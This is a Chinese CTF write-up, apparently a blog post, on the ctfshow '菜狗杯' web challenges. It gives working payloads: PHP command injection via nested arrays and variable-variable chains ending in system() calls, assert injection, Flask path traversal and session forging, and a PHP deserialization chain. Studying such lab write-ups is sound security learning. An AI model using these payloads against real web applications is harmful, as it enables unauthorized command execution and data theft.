首页 > 其他分享 >菜狗杯writeup

菜狗杯writeup

时间:2022-11-17 18:36:23浏览次数:72  
标签:echo 菜狗杯 GET flask writeup js flag foo

20道web做出12道,及格了。加个杂项签到一共做了13题

签到

考察数组嵌套,本地模拟测试一下,不难
$_REQUEST[$_GET[$_POST[$_COOKIE['rbq']]]][6][2],饼干记得url编码

get ?1=4&4[6][0][7][5][8][0][9][4][4]=system("tac /f1*");
post 1=1
cookie CTFshow-QQ%E7%BE%A4%3A=1

web2 c0me_t0_s1gn

js题,火狐渗透版可能版本问题执行不了,换个现代浏览器

我的眼里只有$

跟shell expr 运算凑36那题差不多,写了个垃圾脚本

def dollar(x):
	tail=x[-1]
	n=x.count('$')
	foo='q'
	header=f'{tail}={foo}'
	for i in range(n):
		header+=f'&{foo*i}={foo*(i+1)}'
	z=header.replace(f'&={foo}','',1)
	return z

载荷

get 9=ls
post  _=q&q=qq&qq=qqq&qqq=qqqq&qqqq=qqqqq&qqqqq=qqqqqq&qqqqqq=qqqqqqq&qqqqqqq=qqqqqqqq&qqqqqqqq=qqqqqqqqq&qqqqqqqqq=qqqqqqqqqq&qqqqqqqqqq=qqqqqqqqqqq&qqqqqqqqqqq=qqqqqqqqqqqq&qqqqqqqqqqqq=qqqqqqqqqqqqq&qqqqqqqqqqqqq=qqqqqqqqqqqqqq&qqqqqqqqqqqqqq=qqqqqqqqqqqqqqq&qqqqqqqqqqqqqqq=qqqqqqqqqqqqqqqq&qqqqqqqqqqqqqqqq=qqqqqqqqqqqqqqqqq&qqqqqqqqqqqqqqqqq=qqqqqqqqqqqqqqqqqq&qqqqqqqqqqqqqqqqqq=qqqqqqqqqqqqqqqqqqq&qqqqqqqqqqqqqqqqqqq=qqqqqqqqqqqqqqqqqqqq&qqqqqqqqqqqqqqqqqqqq=qqqqqqqqqqqqqqqqqqqqq&qqqqqqqqqqqqqqqqqqqqq=qqqqqqqqqqqqqqqqqqqqqq&qqqqqqqqqqqqqqqqqqqqqq=qqqqqqqqqqqqqqqqqqqqqqq&qqqqqqqqqqqqqqqqqqqqqqq=qqqqqqqqqqqqqqqqqqqqqqqq&qqqqqqqqqqqqqqqqqqqqqqqq=qqqqqqqqqqqqqqqqqqqqqqqqq&qqqqqqqqqqqqqqqqqqqqqqqqq=qqqqqqqqqqqqqqqqqqqqqqqqqq&qqqqqqqqqqqqqqqqqqqqqqqqqq=qqqqqqqqqqqqqqqqqqqqqqqqqqq&qqqqqqqqqqqqqqqqqqqqqqqqqqq=qqqqqqqqqqqqqqqqqqqqqqqqqqqq&qqqqqqqqqqqqqqqqqqqqqqqqqqqq=qqqqqqqqqqqqqqqqqqqqqqqqqqqqq&qqqqqqqqqqqqqqqqqqqqqqqqqqqqq=qqqqqqqqqqqqqqqqqqqqqqqqqqqqqq&qqqqqqqqqqqqqqqqqqqqqqqqqqqqqq=qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq&qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq=qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq&qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq=qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq&qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq=qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq&qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq=qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq&qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq=system($_GET[9]);

抽老婆

有德克萨斯么
flask题。入口在下载文件,../拼接,下载app.py,得密钥。伪造session时注意时间 egdate -s '2022/11/11 20:00',我卡力坏了用的livecd,时间对不上,一直报 keyerror,我还以为是PIN做法,机器id都没有
https://github.com/noraj/flask-session-cookie-manager

一言既出

assert 类似 eval ,而且这里是双引号,能闭合
?num=114514)?>

驷马难追

加强版一言既出啊

 <?php
highlight_file(__FILE__); 
include "flag.php";  
if (isset($_GET['num'])){
     if ($_GET['num'] == 114514 && check($_GET['num'])){
              assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
              echo $flag;
     } 
} 

function check($str){
  return !preg_match("/[a-z]|\;|\(|\)/",$str);
} 

括号没有了就不能闭合咯。但是仔细想想,按位与是不是有类似相加的功能呢?跑一跑得 1897488

TapTapTap

js atob 送分

化零为整

url encode Chinese charact to unit, care only cant GET number values.
?1=%E5&2=%A4&3=%A7&4=%E7&5=%89&6=%9B

无一幸免

什么东西,传参送分?0=
后面出了修复的环境

算力超群

路径报错一看就是flask,api 随便报个错,看到 eval。
result = eval(a + operator + b)
不会了

遍地飘零

考察变量的二次引用。肯定存在一个变量$flag,只有 var_dump能有显示,尝试令$_GET=$flag
?_GET=flag

<?php
include "flag.php";
highlight_file(__FILE__);

$zeros="000000000000000000000000000000";
foreach($_GET as $key => $value){
    $$key=$$value;
}

if ($flag=="000000000000000000000000000000"){
    echo "好多零";
}else{
    echo "没有零,仔细看看输入有什么问题吧";
    var_dump($_GET);
}

传说之下

赛后做的,考察js逆向。跟着yu22x 修改后ctrl+s 没用。我是burp 修改返回包里gams.js做的,改this.score = 2077 这样开局就是2077分,再得一分2078分后挂掉看控制台。
拦截服务器回复包
Proxy -> Options :
Intercept Server Requests勾选Intercept responses based on the following rules
编辑默认勾选的Content-type ,匹配javascript
(text|javascript)

小舔田

嘉然是我们最甜甜甜的小草莓?
反序列化,字符触发。这里推荐个py库 libphpserialize ,在py里创建类,用php的方式序列化!直接requests传

class Moon{
    public $name;
    function __construct(){
        $this->name=new Ion_Fan_Princess;
    }
}
class Ion_Fan_Princess{
    public $nickname="小甜甜";
}
$a=new moon;
echo serialize($a);

标签:echo,菜狗杯,GET,flask,writeup,js,flag,foo
From: https://www.cnblogs.com/viistar/p/fdsa88888.html

相关文章

  • B0::CTF小白热身赛round1 web writeup(部分)
    writeup仅代表个人理解,面向0基础小白,如有疏漏,敬请指正WEB你会百度吗(......
  • ctfshow菜狗杯(Is_Not_Obfuscate)
    提示都在源码(F12):<!--//测试执行加密后的插件代码 //这里只能执行加密代码,非加密代码不能执行 eval(decode($_GET['input']));--><!--<buttonname="action"......
  • DASCTF2022 ——十月赛 Web 部分Writeup
    EasyPOP题目环境是php7.4,图省事直接把所有属性的类型都改成public起点是sorry类的 __destruct(),由 echo$this->hint 调用到show类的 __toString() 方法,......
  • [Java代码审计]javacon WriteUp
    文章目录​​写在前面​​​​javacon​​写在前面在P神星球看到的,这里学习一下,文件在​​https://www.leavesongs.com/media/attachment/2018/11/23/challenge-0.0.1-SNAPS......
  • CCS 2022 极客少年挑战赛 writeup
    ​  目录题目一DSDS操作内容:题目二easy_re操作内容:flag值:题目三1+1=all   解题过程题目一DSDS操作内容:开环境然后进入网址在网址后./目录进入......
  • 2017 insomni'hack wheelofrobots Writeup
    2017insomni'hackwheelofrobotsWriteup0x00前言题目地址:wheelofrobots程序保护:0x01程序分析1.1mainmain程序如下图。进入程序后,先显示菜单,然后用户输入,根据选......
  • 8、HTB - Nibbles Writeup
    一、信息搜集使用namp扫描machine:nmap-sV-Pn-vv 10.10.10.75 主机开了80和22端口,老习惯,有web界面先打开web看看  只有一个Helloworld,看到下面有个注释,有个nib......
  • 第五届美团网络安全高校挑战赛团体初赛writeup
    一、misc1.题目名称:CyberSpace先选择最小的数使其相等,然后分成两部分依次加各部分最小的次数,不会写脚本只能手搓b=[32,38,27,33,53,30,35,32,32,31,44......
  • MIsc writeup
    1、 杂项图片里面有什么,附件为一张图片通过Binwalk查看发现有压缩包,通过foremost分离一下。打开输出文件,发现里面有两个图片。00000000.png是原图,00000722.png里......
  • 2022第三届“网鼎杯”网络安全大赛-青龙组 部分WriteUp
    MISC签到题八道网络安全选择题,百度都能搜索到答案,这里如果只知道部分题目答案,可以通过枚举测试fuzz答案,获得flagflag:flag{a236b34b-8040-4ea5-9e1c-97169aa3f43a}REre693......